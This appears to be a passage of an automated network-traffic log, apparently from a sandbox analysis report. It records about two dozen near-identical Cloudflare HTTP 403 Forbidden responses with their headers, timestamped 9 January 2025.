Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:29:47 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:30:02 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gHBe3t8xguOd7frh5LK3tpq7njfzR3YKgcVk6B3zBLkkOxW8EDOSapezl73DGvQIaY%2FONKqRUd1mbUsBpzzfc9itMLLKCJkYfKI53DF3Qy0iHFS3QF0vL9O4t0afQbVcoob0K1p8Gd5zdvSx"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b7e2bde57ca6-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1900&min_rtt=1889&rtt_var=731&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1474003&cwnd=236&unsent_bytes=0&cid=1982b462c5651aac&ts=150&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:29:48 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:30:03 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=arQkiglS2bEpzSoNakH2VuGOaJp4Tf4fDzHtmheluYEUV8UEm3qEuP9jEXZHo0lMVhI8Hp7%2BgD5z1XWufJAz9u2X2lIOJp%2FyeUQ21hWiX4DYtBL%2BOYIsTUwOOMRvGOLKM2zIejrt0f6w4vd6"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b7e6abb47ce7-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1928&min_rtt=1917&rtt_var=741&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1456359&cwnd=199&unsent_bytes=0&cid=46ce1be6a81703e9&ts=149&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:29:49 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:30:04 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=e9fmZX5U7eEWLMUaTaFVqwvPdO7Q6j5oL0l9cqs6T%2BpZcH%2FYT6lU1j3j5UpFlzYSF4jvNp55Js82JELyQ3YG16jlX18v0sNEEQhKsT3qHSzJCPEnx9iR8Qe%2FbnkhX0kP%2F2e2iNMcaRHLKb0Z"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b7ea7e418c81-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2019&min_rtt=2013&rtt_var=768&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2855&recv_bytes=704&delivery_rate=1414043&cwnd=235&unsent_bytes=0&cid=840e0965b858dafb&ts=137&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:29:49 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:30:04 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nu1NKl29jdeB%2FVCYe4VelDIaMTEGXcHGC4ErLsUniQr3geHUmJ%2Fgsaz8crTZRjeLHOjsbF56kbv%2FUVD8xiax6wsS37eyfi8NUI9W%2FwB8nV4cvesfx8HvlohIy8qq1hieMCyNo3oXYlMucdHF"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b7ee5c734381-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2063&min_rtt=2057&rtt_var=783&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1387173&cwnd=211&unsent_bytes=0&cid=d354722a0fec14fa&ts=153&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:29:50 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:30:05 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fu8Fyhhe4GPqRjWl2kxC4vz0jHQwsQt2oCRwPGrnnTiYmTyTHbBwMPEe3d9rPATEht1VaTzRTxCwAMgh7s%2F31Lyku%2BpxACv2eudYx2EqDoKSv0OzJtjJABDnLG8dUzekoDrgJ7KcYI%2BwXB%2B8"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b7f22fac7cf4-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1989&min_rtt=1975&rtt_var=769&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1397129&cwnd=217&unsent_bytes=0&cid=fc9e00e6f19c9ba3&ts=130&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:29:51 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:30:06 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YvgqFAH7691qE3AAk5XOp2vtZZUHMgaXV03uk1NpM119Eqdmx56i2wh%2FA6W3Ju%2BQ5QV8V3lvNDPI%2BcdOTiSSdxKUmorVdz%2FWV8ojKKx93Pxl2Ugl%2FJXKIaDIFb15r12BR34Y1cfkH2xfb3ES"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b7f5ff807d11-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1935&min_rtt=1923&rtt_var=746&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1443400&cwnd=252&unsent_bytes=0&cid=7a59937da396dd59&ts=148&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:29:51 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:30:06 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=oAyudOIsxHBxb%2BqbBrW6ri9B01khuu4a6lRPyz%2B2qV6aLn1klYncSvUdakR%2Bvwi6IA7AZbxG2XA%2BpVNnn1dlJqhMQU9jWwfAczDAQwN3L5wyNt9q%2F1nxMU8DxYklq8qallIcazu0yL4FwWiI"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b7fa0d22436a-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1567&min_rtt=1562&rtt_var=596&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1821584&cwnd=184&unsent_bytes=0&cid=2b6b5d185693c23b&ts=161&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:29:52 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:30:07 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=C%2Fm4Yh%2B0ALZCw9qCUPNBF43nlVjTCWc9WKgSfWVQEhpODLVLFbr2Fhwh18g46W1TM%2FIV%2FnpJHsATSID2VJaGSbr7ybs285BED6CsjhunN04%2BRY24UwnCNh%2Fe15fVaNrUlI456NNLzrYKEGrq"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b7fdcb0b8c57-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1972&min_rtt=1964&rtt_var=752&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2855&recv_bytes=704&delivery_rate=1439132&cwnd=216&unsent_bytes=0&cid=b9fbbfb5532ece69&ts=132&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:29:53 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:30:08 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=azWEl5YgyDfws0N7joXkGzoQhAR%2FlqjjFHOGIqG%2BNACWfodGxhYDDgEtqw6UBsLImdRfzld0%2Fg380p2lylBUeGJ8y6mxgq3AN%2FsT6Uu10rLpwSBCah9hYaqIsZAkcxRB%2BVN4Is%2BFsP%2BPTBaA"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b8027cdc7291-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1898&min_rtt=1891&rtt_var=723&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1498204&cwnd=218&unsent_bytes=0&cid=523e91d09636b097&ts=152&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:29:53 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:30:08 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FgqTqXW8CgzG1wGWqow%2FQwtq%2FDZ8N0vrHf2OfIj5SstXMiaRJkxd2dPFkkjAmukDGbovRZK9y1NnYN%2BSybofdwbZ7a4OLupnArD338X7M6XPTqblxGRlW%2B1R7UIuOxPkROEeIZH6Ki1uSYQ%2B"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b8064c567d14-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1962&min_rtt=1953&rtt_var=751&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1439132&cwnd=245&unsent_bytes=0&cid=132a7bca46c507ac&ts=145&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:29:54 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:30:09 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=K4fNIBFKOzodF3resSeGAPeC25fMmSS52GHuvOsLYF6BvVWH9IsUAEGxq3w44WxqbgKrHtRrR5dsrT0UdxeSd9svX%2BzOZIgAYqnub4lD1nryQ%2FYPM2qBrbuI6iVlZhP6szbroy8Oj5ZBdfgf"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b809ec50438c-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2073&min_rtt=2068&rtt_var=787&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1381267&cwnd=245&unsent_bytes=0&cid=d2c07d529d42e699&ts=128&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:29:54 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:30:09 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BpbvsdxKs%2FALeFxB8j9IXOvT6NKFFM1ROoi%2BvX%2BN6qrzuHYGfLt%2BIQIWrlhr23YVCyGn3ptmNVzBQVSggVz7ouUll4fjnKePQ7sLigYDNnH%2FV8T%2FInjT9twtecHpmJ%2FZDnkQNCYkjLWmr9w8"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b80dcf330cae-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1457&min_rtt=1440&rtt_var=575&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1846932&cwnd=252&unsent_bytes=0&cid=a56cf2f293c17402&ts=137&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:29:55 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:30:10 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lDjQUIivuLWIQ1OzbI%2FEvlucpmMSp8r9v4mPCog6sCP%2BMYDgvgpy95BvLNTRDyUtA87lPQ8DmYUvPIMaG3L1bqyJ0pJgwx%2FKSVKetTgaK6r2KqETHYPKDKj5F%2FWWHIvYKWGauTSH3QlDZ%2BCf"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b8118fed72b7-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1944&min_rtt=1923&rtt_var=736&sent=3&recv=5&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1518460&cwnd=192&unsent_bytes=0&cid=e2d15cf9c4f05385&ts=121&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:29:56 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:30:11 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dCJQD7icalMcfZSM%2F1U69YAcj%2Ftnieb1mJf2ghDBF0JtpupHblijLZkyr%2FVPiPKQIQp0yHL6mptOllMKez%2FqkzMOTXv9yv6sXo1NE136N%2FYXlLDOsIX7%2BHf2PXej2lp%2FYEAMsc2RCdd%2FnJyy"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b81528be4259-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1710&min_rtt=1709&rtt_var=644&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1693735&cwnd=235&unsent_bytes=0&cid=055fabbceae0da20&ts=129&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:29:57 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:30:12 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=o1uVvXnEFTJzVlLsJo3l1g8%2FU%2FGK5jU52leCCzxP1v81BsQTtNXP90zXE5cBrX0Vnmwp7POScPAAwyWJe4DK8c1G5FI970tL1%2FxgfcvkPbt8rKV8psR6BzzMTjxXO1Qv0AaelT17TXccEdZ5"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b81c7e368ca7-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1921&min_rtt=1910&rtt_var=739&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1458541&cwnd=128&unsent_bytes=0&cid=d09ad4840cae19ff&ts=132&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:29:57 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:30:12 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vaMD30jbwKr5YfcmlJP5N2ZQVGgpSrE0Mo2o8S9K8Z%2BFA5Q6yHKos0r93oT9NmLU7PMAnhrAidSaKoCZxxTghCqlX0BLNw%2BW98LzHubNx7M%2Bx128wB8w1d%2FXZW4OfchY%2BB3Cj62zSv12vR%2B8"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b8202fed42d5-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1729&min_rtt=1725&rtt_var=656&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1656267&cwnd=221&unsent_bytes=0&cid=7e9e27679fb12cdd&ts=142&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:29:58 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:30:13 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vALJc4Hp7VJjz5yR9nwsyv0Sf3keFGtOk0GZrJnMyIBL2xshYSPGEYxUFfzUr3bKAv%2FVoIM9Up2yuaUzmDXKL3%2Fz%2B7HH2nCbuEAwnc7wkPN29v6e2TfQOKg72c8RLYxXA8qImUJtg85Cid2Z"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b8241a6a431a-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1827&min_rtt=1792&rtt_var=697&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1629464&cwnd=224&unsent_bytes=0&cid=eebe8834afa49ad5&ts=160&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:29:59 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:30:14 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9SA%2FGYTZvgWudQ%2F2rNMLMnGMB6KKHvy3aEnlHncZuZuB7xcV%2Flv69YyC1l7HE75jaFX1zimM%2FNs%2B6vHkBkQFnWV1kUdq8RIXTtgWJjRxIRbCQr9pXo0qfOjyQgEE8Q%2BNNFPgpZBsJeSjqi3P"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b827cc8f8c69-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1947&min_rtt=1941&rtt_var=741&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1465127&cwnd=217&unsent_bytes=0&cid=4cb73aadfda3b156&ts=124&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:29:59 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:30:14 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5NtXmaHFhCi32UY55weICS9xu6cpKI5NGBC7Z0zmhB16UITPg9DFK8vgS0ugvcVw72bVbz4JtL2I%2FjdoFDosTHE9CAK2ae0w%2BQpC%2FqGiWEkvYDICMU%2F8pguUf8tx6AIscZuQuOli4MD1TvoO"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b82b99afc44d-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1667&min_rtt=1663&rtt_var=632&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1719670&cwnd=250&unsent_bytes=0&cid=63222389a90c128b&ts=149&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:30:00 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:30:15 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9mdfVSpVkVfelkzkx8uz5Sh57Lfz2zxb63pqOERGvQVrJPTk%2Fbu0iJCZ2S%2FY3KrAPnnFHTxnBOVGRcV6KrM3SxIGf4%2FJj4VHYs0F1hQ5oCdXsAtrTVhFR0TBjdHTATez10Ao8AThi2pJpk5G"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b82f6fd44217-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1721&min_rtt=1716&rtt_var=654&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2855&recv_bytes=704&delivery_rate=1660978&cwnd=240&unsent_bytes=0&cid=a5db5391404f6791&ts=143&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:30:00 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:30:15 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=EvWuAx1NIqEa8ZqShU8xjvkSsXt0rIriCQvdrYWCZMl4kgpy4YoQsNHdYNU9JnzP%2BHokHKCQQ%2FzttZGD0TF2qBNXBTl54ScWAKW8vjFu9rDOk%2F1dcnIUZoxJCauCPEsFi3cD2%2Fw1vFyJGvap"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b833480c4314-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1578&min_rtt=1573&rtt_var=600&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2855&recv_bytes=704&delivery_rate=1810291&cwnd=188&unsent_bytes=0&cid=dcebeebad805790f&ts=145&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:30:01 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:30:16 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PCU6Od9xW26TwCpLtcq%2FA3hzV3zQDMAvVaKBmWrGWhbUY1yZpXNs%2FL%2FDuiE4UMSI0Mv1Dtr8YnsreYzsFztY1%2FM8QF%2BPRFzyxMZebprfJsLYT5fab4nJcCB0c1Hsjnqf4rQDiDPSiHmLcOuj"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b836ef72c431-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1595&min_rtt=1595&rtt_var=598&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1830721&cwnd=231&unsent_bytes=0&cid=1da5af815259e287&ts=132&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:30:02 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:30:17 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cTWxpbLAWNJmONH441MKDCnPF5zWki2MYKCMDP3cT2s42nRCRkF7wdsZdazPJfpQJOteN1R%2B7DGSX%2F1Gg7xEMCGZKd811mZkh1%2FZWA43l6%2Fn%2FBncG%2FA7WfBCFrOeEXdx8NbwW%2FJ1%2FmFywKoI"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b83abea041d2-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1670&min_rtt=1656&rtt_var=649&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1648785&cwnd=251&unsent_bytes=0&cid=f61abe870d7de1d1&ts=141&x=0"
